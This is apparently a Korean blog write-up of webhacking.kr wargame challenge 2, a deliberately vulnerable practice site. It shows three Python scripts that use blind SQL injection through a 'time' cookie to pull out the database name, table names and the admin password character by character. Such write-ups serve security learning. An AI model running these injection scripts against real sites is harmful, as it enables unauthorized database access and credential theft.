본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 2번

메인 화면

 

페이지 소스코드

주석으로 현재 시간이 있고

admin.php가 있다고 함

 

admin.php

 

쿠키들

이것 저것 해보다가 time값에서 sql injection이 발생하는 것을 찾음

 

 

 

참인 반응

 

거짓 반응

 

참일 때에는 주석에 나타나는 시간이

01로 끝나고

거짓을 때에는 00으로 끝난다

 

이걸로 이제 database명을 알아낸다

 

데이터베이스 이름의 길이 6자

 

import requests

url = "https://webhacking.kr/challenge/web-02/"
session = requests.Session()
password = ""
for i in range(1,7):
    for j in range(43,127):
        cookie={"time":"0 or substr(database(),"+str(i)+",1)='"+chr(j)+"'","io":"54qu_79RqQy6CWCFAABh","PHPSESSID":"lppfge6n693rll25nvc73i6s41"}
        req=session.get(url,cookies=cookie)
        if("2070-01-01 09:00:01" in req.text):
            password +=chr(j)
            print(chr(j)+"is Correct!!!")
            break
        print(chr(j))
    print(password)
print(password)

database명 CHALL2

 

database명으로 table의 이름을 찾음

 

첫번째 테이블은 13글자

 

두번째 테이블은 3글자

 

먼저 첫번째 테이블

import requests

url = "https://webhacking.kr/challenge/web-02/"
session = requests.Session()
password = ""
for i in range(1,14):
    for j in range(43,127):
        cookie={"time":"0 or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),"+str(i)+",1)='"+chr(j)+"'","io":"54qu_79RqQy6CWCFAABh","PHPSESSID":"lppfge6n693rll25nvc73i6s41"}
        req=session.get(url,cookies=cookie)
        if("2070-01-01 09:00:01" in req.text):
            password +=chr(j)
            print(chr(j)+"is Correct!!!")
            break
        print(chr(j))
    print(password)
print(password)

ADMIN_AREA_PW

사실 이거인거 같은데

두번째도 조져본다

 

LOG

 

이제 테이블 이름을 알았으니 컬럼명을 알아야함

 

컬럼명이 2글자이길레 pw일것 같음

마지막으로 컬럼안의 값을 구함

 

pw안의 값은 17글자

 

import requests

url = "https://webhacking.kr/challenge/web-02/"
session = requests.Session()
password = ""
for i in range(1,18):
    for j in range(43,127):
        cookie={"time":"0 or substr((select pw from admin_area_pw limit 0,1),"+str(i)+",1)='"+chr(j)+"'","io":"54qu_79RqQy6CWCFAABh","PHPSESSID":"lppfge6n693rll25nvc73i6s41"}
        req=session.get(url,cookies=cookie)
        if("2070-01-01 09:00:01" in req.text):
            password +=chr(j)
            print(chr(j)+"is Correct!!!")
            break
        print(chr(j))
    print(password)
print(password)

 

pw는 KUDOS_TO_BEISTLAB

 

클리어

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 40번  (0) 2020.01.03
Webhacking.kr 22번  (0) 2020.01.03
Webhacking.kr 50번  (0) 2020.01.02
Webhacking.kr 4번  (0) 2019.12.27
Webhacking.kr 8번  (0) 2019.12.27